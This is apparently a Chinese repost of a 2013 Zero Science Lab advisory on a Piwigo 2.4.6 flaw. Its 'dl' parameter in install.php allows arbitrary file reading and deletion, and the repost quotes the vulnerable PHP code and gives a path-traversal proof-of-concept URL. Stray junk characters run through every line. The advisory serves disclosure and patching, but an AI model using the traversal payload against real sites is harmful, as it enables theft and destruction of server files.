Piwigo是用PHP编写的相册脚本。
; v* R5 X s2 r* ?1 a* ~* `% E8 } Y0 ^1 b. j$ _4 d; w y
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。! o/ O" e: B0 Z
====================================================================
1 Z: `3 m4 _: Q2 c* c/install.php:
' c0 [* x. G: t& _5 V; d: p- J-------------
1 h; p- |9 _9 \; n/ H4 B% m9 b0 c113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))! d. c7 Y/ U4 ^8 s; o1 i
114: {
) `0 n x9 t' U115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];7 y. a5 ^ d: _( ]3 x- z* G
116: header('Cache-Control: no-cache, must-revalidate');" g' L3 L' `/ c7 n
117: header('Pragma: no-cache');
7 }, G0 I9 j% l0 ~% q118: header('Content-Disposition: attachment; filename="database.inc.php"');
9 i0 _0 P$ n/ Z3 [5 Y119: header('Content-Transfer-Encoding: binary');
j1 J2 S8 z3 c120: header('Content-Length: '.filesize($filename));; T& q5 `! i0 q
121: echo file_get_contents($filename);
6 e0 w! D4 d$ B! P) N' |122: unlink($filename);
% y( V5 _& E4 \: E2 [123: exit();
" g6 y: U" F. s124: }9 R8 R: i9 Z4 _$ J% ^! Y- o
====================================================================
+ p( O) q5 I! X" U 2 Z, ~3 o% o+ ?
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
# M( ~9 y ^/ E6 A6 g: k4 i: Z5 ? Apache 2.4.2 (Win32)
! R" C9 Z) `9 i+ R0 u PHP 5.4.4$ a2 h) a7 x5 Y0 f
MySQL 5.5.25a
' Q) v1 G, X% w) _1 K' z
( f( |4 t+ p& J: T" vVulnerability discovered by Gjoko 'LiquidWorm' Krstic
3 s: R3 x1 F! I, M, J/ s% i: v @zeroscience2 B9 k& W/ {7 n$ [
2 m7 x. V% z' U7 lAdvisory ID: ZSL-2013-51273 j* D8 ^6 N: l% Y* R4 e. t% J
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 }$ d- E" ?2 {8 X6 [Vendor Patch: http://piwigo.org/bugs/view.php?id=28439 r. ]4 e. O5 z$ r4 E8 o
/ u, N* E5 P, x' Y; r4 @! R/ Y
15.02.2013
3 @/ z( h% ?0 d: C2 O3 J
: c, ^( g/ X7 ^3 _5 L--
% K2 U5 H3 P/ z7 A* p% S9 Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
* }5 X7 z9 ~3 T1 J& r3 b
, E$ S* h& H& b3 f' w! O1 V |